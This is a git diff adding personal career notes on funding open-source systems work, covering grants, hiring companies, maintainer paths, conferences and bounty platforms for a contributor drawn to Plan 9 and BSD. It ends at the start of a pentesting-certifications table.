Daniel Stenberg (curl, but mostly via wolfSSL salary, not Sponsors), Drew DeVault (~$5k/mo across platforms), Andrew Kelley (Zig, via Zig Software Foundation pass-through). +- Strategy: useful as a tip jar and as social proof; not a primary income stream. + +### Open Collective +- URL: https://opencollective.com +- Fiscal-host model: a non-profit holds the funds for your project so you can take corporate sponsorship without incorporating. +- Used heavily by collective projects (Webpack, Babel, Bevy, Vue). Less common for solo systems devs. +- Useful when you want corporates to expense-report-pay you and you don't have an LLC. + +### Tidelift +- URL: https://tidelift.com +- Model: enterprises pay Tidelift for "managed open source"; Tidelift pays maintainers of the packages those enterprises depend on. Maintainer must commit to security response, EOL transparency, license clarity. +- Sweet spot: a package with hundreds of thousands of enterprise downloads. PyPI/Maven/npm/RubyGems heavy. +- Income: $0 to ~$3-5k/mo per package, very long tail. Systems libraries (libfoo on glibc) are not the target. Skip unless you maintain a popular language-ecosystem package. + +### Polar.sh +- URL: https://polar.sh +- Model: GitHub-native funding + issue bounties + subscription tiers + paid posts. Pivoted in 2024 toward "monetization layer for devs," now offers paid releases and license keys. +- Better than GitHub Sponsors for converting GitHub-issue-watchers into paying users. + +### Algora.io +- URL: https://algora.io +- Bounty marketplace. Companies post bounties on GitHub issues, you solve them, you get paid. Typical bounty $50-$2000, occasional $5k+. +- Top hunters clear $5-10k/month sustained, but they treat it like a job. +- Strong in Rust, Go, TS. Has bounties on Tauri, Trigger.dev, Cal.com, ZIO, Twenty. Systems-level bounties are rarer but exist. + +### Patreon / Ko-fi +- Ko-fi (https://ko-fi.com) takes 0% on tips, 5% on shop sales. Patreon (https://patreon.com) takes 8-12%. +- Both work for "audience-funded" devs (blog readers, conference attendees) rather than pure code maintainers. + +### Direct Corporate Sponsorship +- The actual high-leverage path. A company that depends on your code pays you a retainer ($2k-$20k/mo) to keep maintaining it. +- Pattern: cultivate one or two corporate users who would be screwed if you stopped. Send them an invoice through your LLC or fiscal host. +- Examples: Cloudflare paying maintainers of dependencies, Stripe Open Source program, Sentry FOSS Fund ($500k/year, 8-9 picks). +- How to position: become "the person who answers issues on $LIBRARY within 24h" so the budget-holder's calculus is "$5k/mo retainer < one engineer-week of internal forking." + +### Anonymous tipping (Bitcoin / Lightning / Monero) +- Used because: + 1. International donors avoid card-network friction and FX fees. + 2. Maintainers in sanctioned countries (Russia, Iran) can still receive. + 3. Some communities (suckless, cat-v.org, Tor) explicitly prefer non-surveillance payments. +- Tools: BTCPay Server (self-hosted), Strike, Alby (Lightning addresses like you@getalby.com). +- Volume is small (~5-10% of total income for those who accept), but symbolically important to that crowd. + +--- + +## 2. Grant Programs (the actual gold for systems work) + +Non-dilutive money. Apply early, apply often. These are ordered by relevance to a Linux/BSD/Plan 9-flavored profile. + +| Program | Country | Typical size | What they fund | URL | +|---|---|---|---|---| +| Sovereign Tech Agency (STA, formerly STF) | Germany | €50k - €1M | Critical digital infrastructure (curl, OpenSSH, Sequoia-PGP, GNU coreutils, OpenPGP.js) | https://www.sovereign.tech | +| NLnet (NGI0 / NGI Zero) | EU | €5k - €100k | Privacy, decentralization, infrastructure; very flexible | https://nlnet.nl | +| Prossimo (ISRG) | US | salary-funded | Memory-safe systems: Rust-for-Linux, Rustls, sudo-rs, rav1d | https://www.memorysafety.org | +| OpenSSF Alpha-Omega | US | $100k - $1M+ | Top 10k OSS critical projects: security audits, hardening | https://openssf.org/community/alpha-omega | +| LF Mentorship | Global | $6k stipend / term | 12-week mentored work on an LF project | https://wiki.linuxfoundation.org/lfx/mentorship | +| Mozilla MOSS | Global | $5k - $250k | Status: largely dormant since 2023, occasional targeted rounds | https://www.mozilla.org/en-US/moss/ | +| Google Open Source Peer Bonus | Global | $250 cash | Recognition awards; nominated by Googlers | https://opensource.google/documentation/reference/growing/peer-bonus | +| Microsoft FOSS Fund | Global | $10k pick | Employees nominate, vote monthly | https://github.com/microsoft/foss-fund | +| Sentry FOSS Fund | Global | $500/$5k per pick | Quarterly grants, dependency-focused | https://blog.sentry.io/sentry-2025-foss-fund/ | +| NSF POSE | US | $300k Phase I, $1.5M Phase II | Open-source ecosystem sustainability (org formation around an existing OSS project) | https://new.nsf.gov/funding/opportunities/pose-pathways-enable-open-source-ecosystems | +| DARPA (V-SPELLS, HARDEN, AIE) | US | $500k - $5M | Memory safety, formal verification, autonomous patching | https://www.darpa.mil/research/programs | +| NASA / NSF SBIR | US | $50k - $1M | If you can wrap your OSS work in a small business | https://www.sbir.gov | + +### Sovereign Tech Agency (formerly Sovereign Tech Fund) +The most relevant single program for a systems dev. Funded by the German Federal Ministry for Economic Affairs. As of 2024 it became the Sovereign Tech Agency under DIZ. +- Notable grants: curl ($195k in 2024), GNU coreutils (€202k), OpenSSH (€203k), Sequoia-PGP, FFmpeg (€157k), Reproducible Builds, Wireguard, RubyGems, systemd. +- Bug Resilience Program funds maintenance, not just new features. +- Process: apply via https://www.sovereign.tech/programs — open intake plus targeted calls. Decisions take ~3-6 months. You need a clear scope (deliverables, timeline) and proof you actually maintain the project. +- Realistic for a contributor: get to be a recognized sub-maintainer on a covered project, then propose a sub-scope (e.g. "I will harden subsystem X for 6 months at €40k"). + +### NLnet / NGI Zero +- Funded by EU NGI initiative. Multiple sub-funds: NGI0 Core, NGI0 Commons, NGI0 Entrust, NGI0 Review, NGI Mobifree, NGI Zero Search. +- Calls open every 2 months. Application is short (4 pages typed answers, not a 60-page grant). They prefer applicants with existing track record but accept first-timers. +- Typical grant €5k-€50k for a 6-12 month project. Up to €100k for larger work packages. +- Funded projects relevant here: 9pfs work, Plan9 ports, lots of decentralized infra, Wayland tools, BSD security work. +- Apply: https://nlnet.nl/propose +- This is the easiest non-trivial OSS grant to actually win for a solo systems person. + +### Prossimo (ISRG / Let's Encrypt parent) +- URL: https://www.memorysafety.org +- Focus: memory-safe rewrites of foundational C code. Funded Rustls, sudo-rs, ntpd-rs, Rust-for-Linux core support, rav1d. +- They directly hire engineers (Filippo Valsorda was an advisor here). Path in: ship serious Rust-for-Linux work, get noticed by Josh Aas / Daniel Stenberg. +- Funded by Cisco, Google, Amazon, Fastly, Open Society Foundations. + +### OpenSSF Alpha-Omega +- URL: https://openssf.org/community/alpha-omega +- Funds the top ~10k critical OSS projects (per Census II) for security improvements. +- Grants of $100k-$1M to projects like Python, Rust, Node, Eclipse, OpenJS Foundation. +- You don't apply solo; you apply as the project's lead/maintainer. + +### Linux Foundation Mentorship (LFX) +- URL: https://lfx.linuxfoundation.org/tools/mentorship/ +- $6,600 stipend per 12-week term. Hundreds of slots per year. Projects include Linux kernel, Hyperledger, Cloud Native (k8s, CNCF), Yocto, LF Energy. +- Pathway: do LFX → get noticed by the mentor (who is usually employed by Red Hat/Intel/Google) → get hired or recommended. +- Best entry point for a serious kernel ambition without an existing corporate sponsor. + +### Plan 9 Foundation +- The "Plan 9 Foundation" as a formal funding entity does not really exist with grant programs. There is a Bell-Labs-derived Plan 9 Foundation that holds the trademark and copyright (https://p9f.org), but it does not issue grants. +- Funding for Plan 9 work in practice comes via NLnet, GSoC (when 9front participates), and the 9front community's informal donations. + +### BSD Foundations +| Foundation | Url | What they do | +|---|---|---| +| FreeBSD Foundation | https://freebsdfoundation.org | ~$2M/year budget, ~12 employees, funds contracted development (security, ZFS, networking). Job board at https://freebsdfoundation.org/our-work/job-openings/ | +| OpenBSD Foundation | https://www.openbsdfoundation.org | ~$300-500k/year, mostly hardware + hackathons. Does not hire devs; pays expenses. | +| NetBSD Foundation | https://www.netbsdfoundation.org | Smaller budget, occasional contracted work, GSoC participation. | + +Reality on BSD work: the foundations themselves don't have many salaried slots, but their corporate sponsors (Juniper, Netflix for FreeBSD, etc.) do hire BSD committers. Becoming a `src` committer on FreeBSD is the prerequisite. + +### NSF Pathways to Enable Open-Source Ecosystems (POSE) +- URL: https://new.nsf.gov/funding/opportunities/pose-pathways-enable-open-source-ecosystems +- Phase I: $300k for 18 months to scope an OSS ecosystem org. Phase II: $1.5M for 2 years to build it. +- US-affiliated PIs only (you can be the technical lead through a university or non-profit fiscal sponsor). +- Recent awards have gone to Polars, RAPIDS, BPF/eBPF community work, scientific Python. + +--- + +## 3. Companies That Hire Full-Time OSS Maintainers + +| Company | Hires for | Remote? | Comp (USD) | Apply | +|---|---|---|---|---| +| Igalia | Chromium, WebKit, Mesa, V8, GStreamer, Linux gfx, Servo | Fully remote, worker co-op | €60k-€120k EUR equivalent (flat structure) | https://www.igalia.com/jobs/ | +| Collabora | Linux kernel (DRM, media), Wayland, GStreamer, Panfrost, Mesa | Mostly remote | $90k-$180k | https://www.collabora.com/careers/ | +| Red Hat / IBM | Kernel, glibc, GCC, systemd, Wayland, podman, Fedora | Hybrid/remote | $130k-$280k+ | https://redhat.com/jobs | +| SUSE | Kernel, btrfs, openSUSE, Rancher | Remote-friendly | $110k-$220k | https://jobs.suse.com | +| Canonical | Kernel, Ubuntu, Snap, MAAS, Mir | Fully remote, ~50 countries | $80k-$200k (geo-adjusted, on the low side) | https://canonical.com/careers | +| Linaro | ARM Linux, OpenEmbedded, OP-TEE, EDK2 | Remote | $90k-$170k | https://www.linaro.org/careers/ | +| AdaCore | Ada/SPARK toolchain, formal verification, GNAT | Remote (US/EU) | $100k-$180k | https://www.adacore.com/company/careers | +| Tweag (Modus Create) | Haskell, Nix, Bazel | Remote EU/NA | €70k-€130k | https://modus.app/careers (Tweag brand still recruited) | +| Galois | Haskell, formal methods, security, Rust | US-only (clearance friendly) | $130k-$220k | https://galois.com/careers/ | +| Well-Typed | GHC, Cabal, Haskell consulting | Remote EU/NA | £50k-£100k+ | https://www.well-typed.com/jobs | +| Embecosm | GCC, LLVM, RISC-V toolchains | Remote (UK base) | £45k-£90k | https://www.embecosm.com/jobs/ | +| Kitware | CMake, VTK, ITK, ParaView | Hybrid (NY/NC/France) | $90k-$170k | https://www.kitware.com/careers/ | +| Codethink | Low-level Linux, automotive Linux, BuildStream, Trustable | UK/EU remote | £45k-£110k | https://www.codethink.co.uk/careers.html | +| Sourceware / SFC | glibc, GDB, binutils, GCC infra | Project-funded, varies | n/a (mostly project hosting) | https://sourceware.org | +| Oxide Computer | Illumos, Hubris (Rust embedded), service processors | Remote US | $200k flat salary | https://oxide.computer/careers | +| Ferrocene / Ferrous Systems | Rust toolchain for safety-critical | Remote EU | €70k-€120k | https://ferrous-systems.com/jobs/ | +| System76 | Pop!_OS, COSMIC (Rust), firmware | US remote | $90k-$160k | https://system76.com/careers | +| Cloudflare | Linux kernel TCP, BPF, Rust, networking | Remote-friendly | $150k-$300k+ | https://www.cloudflare.com/careers/ | +| Meta / Google / Microsoft kernel teams | Linux kernel (scheduler, fs, BPF), Rust-for-Linux | Hybrid | $250k-$600k+ TC | their respective careers sites | + +### The standouts for Kris's profile + +- **Igalia**: worker cooperative, no internal hierarchy, fully open about pay, very pro-OSS. Their consulting model is the platonic ideal of "OSS company." If you ship Mesa or kernel graphics work, this is the obvious target. +- **Collabora**: similar shape, more kernel-graphics and embedded heavy. Hires aggressively from the upstream contributor pool. +- **Oxide Computer**: Illumos kernel work + Rust embedded firmware. Flat $201,227 USD salary, no negotiation. Bryan Cantrill, Adam Leventhal, Steve Klabnik, Jess Frazelle. Cultural fit for someone who likes Plan 9-ish design. +- **Sourceware Project** (Software Freedom Conservancy fiscal sponsor): if you want to live inside glibc/GDB/binutils long-term, contribute and then look for funded slots through Red Hat or Suse. + +People worth following / cold-emailing: +- Greg Kroah-Hartman (kernel stable, Linux Foundation Fellow) — mentors maintainers +- Miguel Ojeda (Rust-for-Linux, Prossimo) +- Drew DeVault (sr.ht, controversial but central in suckless/cat-v orbit) +- Jens Axboe (Meta, io_uring) — accepts patches generously +- Jonathan Corbet (LWN editor, kernel maintainer) +- Theo de Raadt (OpenBSD) — different culture, slow trust building +- Bryan Cantrill (Oxide, formerly Sun/Joyent) — public hiring posts on his blog/Twitter + +--- + +## 4. Permanent Maintainer Paths on Flagship Projects + +| Project | Maintainer count | Typical path in | Who pays today | +|---|---|---|---| +| Linux kernel (subsystem) | ~1,700 listed in MAINTAINERS | Trivial patch → driver fix → driver maintainership → subsystem | ~95% Red Hat / Intel / Google / Meta / SUSE / Linaro / Oracle / IBM | +| Rust-for-Linux | ~15 core | Direct contribution, accepted via Miguel Ojeda | Google, Prossimo, Microsoft | +| systemd | ~30 active | Patches via GitHub, Lennart's review | Red Hat, Microsoft (Lennart now) | +| OpenZFS | ~20 active | Patches, OpenZFS Leadership Committee invites | iXsystems, Klara, Datto | +| btrfs | ~10 core | Lots of test patches, Josef Bacik mentor | Meta, SUSE | +| GCC | ~250 write access | Sustained patches, GCC steering committee invitations | Red Hat, SUSE, Embecosm, AdaCore | +| LLVM/Clang | ~1000+ commit access | Phabricator/PRs, area maintainer role over time | Apple, Google, Sony, ARM, Intel, Embecosm | +| 9front (Plan 9 fork) | ~5-10 active hackers (cinap_lenrek, sigrid, kvik, qwx) | Mailing list, IRC #cat-v on OFTC, commits via hjfs/git9 | Volunteer, occasional NLnet | +| plan9port | Russ Cox + small group | GitHub PRs, very high quality bar | Volunteer (Russ is at Google) | +| FreeBSD src | ~250 src committers | "Bugbusting" → reviewed patches → mentor sponsors commit bit | FreeBSD Foundation contracts + Netflix/Juniper/iX | +| OpenBSD | ~140 committers | Slow trust, hackathon attendance, theo's invitation | Volunteer + Foundation; some via M:Tier, Esdenera | +| NetBSD | ~250 committers | pkgsrc → src commit | Volunteer + sponsors | +| GHC (Haskell) | ~30 active | Trac tickets → MRs → GHC Steering | Well-Typed, IOG (Cardano), Tweag, Obsidian Systems | +| Cabal | ~10 core | PRs, Haskell Foundation board oversight | Haskell Foundation grants, Well-Typed | +| Lua core | 3 (Roberto Ierusalimschy, Luiz de Figueiredo, Waldemar Celes) | Closed core; ecosystem (LuaRocks, OpenResty) is open | Tecgraf/PUC-Rio (academic) | +| LuaJIT | Mike Pall (semi-retired), now community fork at openresty | Maintain a fork; very thin pickings | OpenResty, CloudFlare | +| Scala | Lightbend + Scala Center (EPFL) | EPFL Scala Center has open positions | Lightbend, EPFL, VirtusLab | +| Rust Project | ~120 team members across teams | Working group → team membership via existing team vote | ~50% employed by Rust Foundation members | +| NixOS | ~150 committers | RFCs, PRs, "nixpkgs commit bit" via existing committers | Tweag, Determinate Systems, Numtide, Flox | +| Guix | ~75 committers | Long mailing-list track record, FSF-aligned | Mostly volunteer + NLnet | + +### Linux kernel pathway (the canonical one) +1. Read `Documentation/process/submitting-patches.rst`. +2. Subscribe to a subsystem list (linux-fsdevel, linux-block, linux-rt, etc.). Pick one matching your interest. For Kris's profile: probably DRM/graphics, RT, or a driver subsystem. +3. Fix trivial bugs (checkpatch warnings don't count). Look at staging trees with broken drivers; Greg KH explicitly maintains `staging/` as a graveyard for newcomer-friendly cleanup. +4. After ~20-30 accepted patches, take on a real feature. Become co-maintainer (`MAINTAINERS` entry marked with you as M: or R:). +5. The LWN article series "How to participate in the Linux community" (https://lwn.net/Articles/HowToParticipate/) is the gold standard. +6. Linux Foundation Mentorship → LFX kernel internships are explicitly the corporate-recruited pipeline. + +### The "almost universal" rule +Per Greg KH's 2017+ KS reports and yearly LF reports, ~95% of kernel patches come from people paid to write them. Becoming a maintainer without a paycheck is possible but rare; the path is "become good enough that a company hires you to keep doing it." + +--- + +## 5. Status-Building in These Communities + +### Conferences (with realistic talk-acceptance bars) + +| Conference | Where/when | Focus | CFP closes | URL | +|---|---|---|---|---| +| FOSDEM | Brussels, late Jan/Feb | Everything FOSS; has Plan 9 devroom (sporadically) and BSD, kernel, distro, language devrooms | Nov | https://fosdem.org | +| Linux Plumbers Conf | Sept, various cities | Kernel subsystem and userland integration | May | https://lpc.events | +| USENIX ATC + OSDI | Annual rotation | Systems research, papers + invited talks | Variable | https://www.usenix.org | +| BSDCan | Ottawa, June | All BSD | March | https://www.bsdcan.org | +| EuroBSDCon | Europe, Sept | All BSD | May | https://eurobsdcon.org | +| AsiaBSDCon | Tokyo, March | All BSD | Dec | https://asiabsdcon.org | +| Kernel Recipes | Paris, Sept | Curated kernel talks; invitation-leaning | June | https://kernel-recipes.org | +| IWP9 (International Workshop on Plan 9) | Annual, small | Plan 9 / 9front / Inferno research | Variable | https://iwp9.org (and 9p.io) — historically rotates between US/EU | +| Haskell Implementors' Workshop | Co-located with ICFP, Sept | GHC and compiler implementation | June | https://www.haskell.org/community.html | +| Strange Loop | Discontinued in 2023 | RIP | — | — | +| !!Con | NYC, May | Short joyful systems talks; easy entry point | Feb | https://bangbangcon.com | +| Recurse Center talks / NYC Systems | Informal | Easy networking | rolling | https://www.recurse.com | +| SCaLE (Southern California Linux Expo) | Pasadena, March | Big tent Linux | Nov | https://socallinuxexpo.org | +| 9front summit / "Bell Labs reunion" type events | Ad hoc | Plan 9 inner circle | — | watch 9front.org/news | + +### LWN.net writing +- LWN pays for articles. Jake Edge / Jonathan Corbet have published outside contributors. +- Rate: ~$0.20-0.30/word historically (last published; current rates negotiated case-by-case). +- A single well-placed LWN piece is worth more for status than 50 blog posts. +- Pitch: jake.edge@lwn.net or corbet@lwn.net. They want technical depth, not opinion. + +### Blogs in the orbit +- cat-v.org — Uriel's legacy, "considered harmful" essays. Plan 9 / suckless aesthetic. +- drewdevault.com — controversial but central voice in this culture. +- 9fans archives + 9front.org/news. +- Lobsters (https://lobste.rs) is where this crowd discusses. Hacker News works but Lobsters is closer to the suckless/BSD culture. Need an invite — find someone in the tree. + +### Newsletter editorship +- Kris's `ninetimes.org` plan is exactly this lever. A respected community newsletter elevates you to "convener" status, which is even higher than "contributor" status. See LWN's example: Corbet built LWN into the kernel community's record of truth. + +### Foundation boards +- Election to the Free Software Foundation, OpenBSD Foundation, FreeBSD Foundation, Software Freedom Conservancy, Haskell Foundation, Rust Foundation Project Director seat — these come after 5-10 years of contribution. Worth tracking but not a near-term lever. + +--- + +## 6. Bounty Platforms + +| Platform | Focus | Typical payout | Notes | +|---|---|---|---| +| Algora.io | Generic OSS bounties; Rust/Go/TS heavy | $50-$5,000 | Most active currently. https://algora.io | +| Polar.sh | GitHub issue bounties + subscriptions | $20-$2,000 | Now broader monetization. https://polar.sh | +| Gitcoin | Web3-heavy bounties + grants | $100-$50k | Mostly Ethereum ecosystem. https://www.gitcoin.co | +| Issuehunt | Generic GitHub issues | $20-$500 | Quiet but alive. https://issuehunt.io | +| Bountysource | Mostly defunct | — | Avoid; payouts have been frozen historically. | +| huntr.com (Protect AI) | Security bounties for OSS | $50-$4,000 | CVE-focused OSS security. https://huntr.com | +| immunefi | Web3 security | $1k-$1M+ | Specialized in crypto, very high payouts but high effort | + +For a systems profile, Algora and huntr are the realistic ones. A skilled C/C++ dev can clear $2k-$5k/month on huntr finding memory safety issues in OSS projects. + +--- + +## 7. The Plan 9 / Suckless / cat-v Ecosystem + +### 9front +- Active fork of Plan 9 from Bell Labs. Repo + ML at http://9front.org and shithub.us (their git host). +- Active maintainers (as of 2025): cinap_lenrek, sigrid, kvik, qwx, kemal, mischief. +- Plug in: lurk #cat-v on OFTC IRC and 9fans (https://9fans.topicbox.com). The community is small enough that consistent presence (months) + a few good patches gets you commit access. +- Active workstreams: AMD64 hardening, USB stack, ndb improvements, drawterm-cocoa. + +### plan9port (Russ Cox) +- https://github.com/9fans/plan9port +- Russ accepts PRs personally. Very high standard. Maintainer co-leads: Fazlul Shahriar (David), Anthony Martin (formerly), David du Colombier (9legacy too). +- Sub-project: Acme tooling, p9p ports of mk, rc, etc. + +### Inferno +- http://www.vitanuova.com/inferno/ — semi-abandoned commercial branch. +- Hosted at https://github.com/inferno-os/inferno-os — minimal recent activity. +- Status-building leverage: low. Nostalgia value high. + +### Suckless +- https://suckless.org, mailing list at https://lists.suckless.org/. +- Effectively run by Anselm R. Garbe (anselm) and Laslo Hunhold (LH). Decisions via consensus on the dev list + occasional Suckless Conf (slcon) in Germany. +- Source: git://git.suckless.org (their own server) and shadowed on https://git.suckless.org. +- Plugging in: dwm patches mailing list, send well-tested patches that respect the LOC budget. anrxc, Markus Teich, Hiltjo Posthuma are active. +- Status here transfers across the cat-v/Plan9 orbit because of shared cultural roots. + +### cat-v.org +- Uriel's project; he passed away in 2012. Now maintained by surviving 9front/suckless friends. +- Quotes, "considered harmful" essays, mirrored Plan 9 docs. +- Less a "contribute here" target, more a cultural marker — if your name is associated with cat-v style writing, the community recognizes it. + +### Drew DeVault +- Runs sr.ht (https://sr.ht), wrote aerc, scdoc, Hare (language), helped found Sway/wlroots. +- Controversial in tone (public spats with Linus, Theo, etc.) but the SourceHut + Hare + wlroots orbit is real and well-funded by sponsors. +- Hare (https://harelang.com) is the "systems programming for cat-v aesthetes" language. Small contributor pool; high status payoff if you commit consistently. + +### IWP9 +- The International Workshop on Plan 9. Most recent ones: IWP9 2023 (Waterloo), IWP9 2024 status unclear at time of writing. Check https://iwp9.org and 9fans archives. +- Talks are not blind-reviewed — community-curated. Submit a Plan 9 hack and you're likely accepted. + +### ninetimes.org status +WHOIS as of 2026-05-20 shows: **registered on 2026-05-15** via Cloudflare, expiring 2027-05-15. The domain is held (likely by you per the existing plan in your notes, or by someone close — verify with your own registrar). Not available for fresh registration. If this isn't your registration, contact the registrant via Cloudflare's WHOIS privacy relay before someone else builds on the name. + +--- + +## 8. Realistic Income Projections + +All numbers are USD, calibrated to mid-2025 / early-2026 market. "Top 10%" means the top decile within that channel, not overall. + +| Channel | Time commitment | Realistic median | Top 10% | Notes | +|---|---|---|---|---| +| GitHub Sponsors (solo) | Part-time | $0-$50/mo | $5k/mo | Median is ~$0. Only flagship project leads clear $5k. | +| Algora bounties | 15-20 hr/week | $500-$2,000/mo | $8k+/mo | Top hunters treat it as a job. Heavy Rust/TS bias. | +| huntr (security) | 10 hr/week | $300-$1,500/mo | $5k+/mo | C/C++ memory bugs are well-suited to Kris's stack. | +| NLnet grant | Lump | €5k-€50k per 6-12 months | €100k | Apply 2-3x/year; expect to win 1 of 4. | +| Sovereign Tech Agency | Lump | €50k-€200k | €1M+ | Need existing project maintainership. | +| Linux Foundation Mentorship | 12 weeks | $6,600 stipend | n/a | One-shot; a recruiting funnel. | +| Igalia / Collabora salary | Full-time | $90k-$160k | $200k+ | Stable, OSS-native, fully remote. | +| Red Hat / SUSE / Canonical | Full-time | $120k-$200k | $300k+ | More political, but more comp. | +| Oxide Computer | Full-time | $201k flat | $201k flat | No negotiation, no equity surprises. | +| Cloudflare / Meta / Google kernel teams | Full-time | $250k-$400k TC | $700k+ TC | Stack-ranked, mostly office or hybrid. | +| Speaking + consulting + sponsorship layered | Part-time hustle | $30k-$80k/year | $150k+/year | Realistic for a known maintainer like Drew DeVault or Daniel Stenberg | + +### Layered realistic ceiling for a solo Kris-shaped contributor (1-3 years in) +- One NLnet grant: €25k +- Algora + huntr part-time: $20k/year +- One Sovereign Tech Agency sub-contract on a covered project: €60k +- Conference speaking honoraria + LWN articles: $5k +- GitHub Sponsors / Open Collective: $3k + +Combined: $100k-$140k/year, fully OSS-native, from EU and US sources, while remaining independent. This is achievable inside ~24 months if you commit early. + +### Layered ceiling 3-5 years in (with established maintainership) +- Permanent Igalia/Collabora seat: $120k-$160k +- Side grant or two: $30k-$50k +- Speaking + writing: $10k + +Combined: $160k-$220k while still spending most of your hours on OSS. + +--- + +## 9. Concrete 12-Month Plan + +### Phase 1 (months 1-3): Pick a primary +- Choose ONE flagship to contribute to. Recommendation given Kris's profile: + - **9front** if Plan 9 culture is the priority and you want fast status payoff in a small pond. + - **Linux DRM / a specific driver subsystem** if you want maximum career optionality and grant access. + - **FreeBSD src** as a hedge: the BSD culture matches suckless aesthetics, and FreeBSD has more paid pathways than Plan 9. +- Concrete picks for Linux: amdgpu, i915 (Intel gfx, now xe), nouveau (still alive), or a smaller subsystem like UBI/UBIFS, NVMe, or rt-bpf. +- Submit a first patch in week 2. Set up `mutt` or `aerc` for the mailing-list workflow. Add `b4` and `git send-email` to your config. + +### Phase 2 (months 3-6): Establish presence +- Get 5-10 patches accepted upstream. +- Start a focused blog. One post every 2-3 weeks, technical, in the LWN-style register (no fluff, deep details). +- Show up on the project's IRC/Matrix/list every day. Lurk first, then answer newcomer questions. +- Apply to LF Mentorship if you're under 30 and the kernel/CNCF route attracts you. + +### Phase 3 (months 6-9): First grant application +- Write a 4-page NLnet proposal. Scope: a discrete piece of work in your chosen project. E.g. "Port 9front venti to support modern AMD64 NUMA layouts" or "Implement io_uring backend for [foo]." +- Submit ninetimes.org issue 1. Don't aim for a polished publication — aim for "links to interesting Plan 9 work this month plus one editorial." Quarterly is fine. +- Submit a FOSDEM talk for Jan/Feb (CFP closes Nov). + +### Phase 4 (months 9-12): Compound and consolidate +- By month 12 you want: + - 15-25 upstream patches in + - An NLnet decision (yes or no, doesn't matter — you've shown you can write a credible proposal) + - One accepted talk (FOSDEM devroom counts; LPC less likely year 1) + - 5-10 issues of ninetimes.org + - First income: $5k-$25k cumulative from bounties, sponsors, or grant. + +This puts you in position year 2 to apply for Sovereign Tech Agency, target a permanent maintainer slot, and convert one corporate user into a sponsor retainer. + +### Tooling and process to set up immediately +- `git send-email`, `b4`, `lei` (lore.kernel.org email indexing) +- `aerc` or mutt for mailing-list-driven dev (matches suckless aesthetic) +- IRC bouncer (ZNC, soju) for OFTC + Libera persistent presence +- A non-pseudonymous email tied to your domain for upstream interactions; the email you use should be the same one you'll be famous under +- Sign your commits with a long-lived GPG/SSH key tied to your real name +- LinkedIn presence (yes, really) for the corporate sponsor pipeline; you don't have to post, just exist + +--- + +## 10. Things to Avoid + +### Solo-OS / solo-kernel hobby projects +- Writing your own operating system is the most expensive form of identity expression. Pedagogically excellent. Economically and status-wise: near-zero return unless you can sustain it for 5+ years and produce something genuinely new (Theo, Russ Cox, Andrew Tanenbaum tier). +- TempleOS, SerenityOS, Redox have very different cost-benefit profiles; SerenityOS has launched careers (Andreas Kling now at Ladybird), but he's a special case. + +### Maintainer burnout traps +- Don't take maintainership of a project you don't actually want to maintain for 10 years. The OSS culture punishes "I took it then dropped it" much more than "I never took it." +- Set explicit working hours and explicit out-of-scope tags from day one. +- Read Antirez's "five-year horizon" essay and Daniel Stenberg's "burnout" posts before committing. + +### JS / web framework detours +- Per the brief: skip these. The income ceiling there is high but the culture is incompatible with the prestige you actually want. Webpack maintainership pays well; nobody at FOSDEM Plan 9 devroom respects it. + +### Vaporware crypto-funded OSS +- Be wary of grants from foundations whose token is the funding source. They go to zero. Examples: many Web3 OSS grants in 2021-2022 evaporated when treasury dollar values collapsed. +- Exceptions: Optimism RetroPGF and Gitcoin have actually paid out millions sustainably. Treat them as bounty income, not a primary stream. +- Generally: take the money, ship the deliverable, don't make it your identity. + +### Anti-patterns specific to suckless / Plan 9 culture +- Don't show up and immediately propose rewriting their software in Rust. Almost a meme at this point. +- Don't propose adding Discord/Slack to a community that uses IRC. Use their tools. +- Don't argue about licensing on day 1. Read the room. +- Don't fork-and-trash-talk. The cat-v / 9front community has long memories. + +### Time sinks dressed up as work +- Endlessly polishing dotfiles and reading about other people's setups — bounded value, easy to overdo. +- Bikeshedding the editor / IDE / OS / WM choice once you've already picked one. +- Following too many maintainers on social media. Pick five. Read their actual work, not their tweets. + +--- + +## Quick-reference URLs + +- Sovereign Tech Agency: https://www.sovereign.tech +- NLnet propose: https://nlnet.nl/propose +- Prossimo: https://www.memorysafety.org +- OpenSSF Alpha-Omega: https://openssf.org/community/alpha-omega +- LFX Mentorship: https://lfx.linuxfoundation.org/tools/mentorship/ +- NSF POSE: https://new.nsf.gov/funding/opportunities/pose-pathways-enable-open-source-ecosystems +- FreeBSD Foundation jobs: https://freebsdfoundation.org/our-work/job-openings/ +- Igalia jobs: https://www.igalia.com/jobs/ +- Collabora jobs: https://www.collabora.com/careers/ +- Oxide: https://oxide.computer/careers +- Algora: https://algora.io +- Polar: https://polar.sh +- huntr: https://huntr.com +- LWN pitch contacts: corbet@lwn.net, jake.edge@lwn.net +- Linux kernel newcomer guide: https://www.kernel.org/doc/html/latest/process/howto.html +- LWN "How to participate": https://lwn.net/Articles/HowToParticipate/ +- 9front: http://9front.org and https://shithub.us +- suckless: https://suckless.org and https://lists.suckless.org + +--- + +## Bottom line + +The most leveraged single move for this profile is: pick one flagship project this quarter, become a recognizable contributor over 12 months, then convert that recognition into either (a) an NLnet/STA grant, (b) an Igalia/Collabora/Oxide seat, or (c) a corporate sponsor retainer. Status in this world is built by sustained presence on mailing lists and at FOSDEM, not by social media. Money follows status with a 12-24 month lag. + +The ninetimes.org plan is a strong status play **in parallel** to the contributor work, not instead of it. Editorial standing without technical standing reads as "blogger" in this community; editorial standing with technical standing reads as "Corbet." diff --git a/doc/income/other.md b/doc/income/other.md new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/doc/income/pentest.md b/doc/income/pentest.md new file mode 100644 index 0000000000000000000000000000000000000000..ffa9daf7893d228bc43b92831eb0836f6a6bc979 --- /dev/null +++ b/doc/income/pentest.md @@ -0,0 +1,333 @@ +# Pentesting as Income + +A working document on monetizing offensive security skills, ranked certifications, career paths, the AI red team niche, and the OpenAI/Codex usage question. + +## 1. Certifications, Ranked + +The market splits certs into three groups: practical/hands-on (high signal, what skilled hiring managers care about), enterprise/HR-filter (compliance theater, but unlocks bidding on government and Fortune 500 contracts), and emerging (HTB, BSCP, vendor-specific). + +| Cert | Vendor | Cost (USD) | Format | Validity | Tier | +|------|--------|------------|--------|----------|------| +| OSCP | OffSec | ~$1,649 (Learn One) | 24hr practical + report | 3 yr | Baseline practical | +| OSEP | OffSec | ~$1,999 | 48hr practical | 3 yr | Senior AD/evasion | +| OSWE | OffSec | ~$1,999 | 48hr code-review/web | 3 yr | Senior web | +| OSED | OffSec | ~$1,999 | 48hr exploit dev | 3 yr | Senior binary | +| OSCE3 | 